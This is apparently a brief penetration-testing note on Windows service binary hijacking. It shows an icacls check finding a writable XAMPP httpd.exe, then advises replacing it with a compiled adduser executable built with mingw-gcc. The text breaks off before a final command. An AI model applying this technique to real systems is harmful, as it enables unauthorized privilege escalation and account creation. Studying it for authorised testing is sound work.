Binary hijacking Check if a bina­ry (e.g. from a ser­vice) is writeable: PS C:\Users\dave> icacls "C:\xampp\apache\bin\httpd.exe"C:\xampp\apache\bin\httpd.exe BUILTIN\Administrators:(F) NT AUTHORITY\SYSTEM:(F) BUILTIN\Users:(F) NT AUTHORITY\Authenticated Users:(RX) Leg­end: If yes, replace it with a more use­ful exe­cute­able, like this one. Com­pile this for the cor­rect tar­get archi­tec­ture and replace the orig­i­nal file. x86_64-w64-mingw32-gcc adduser.c -o adduser.exe Check this with one command: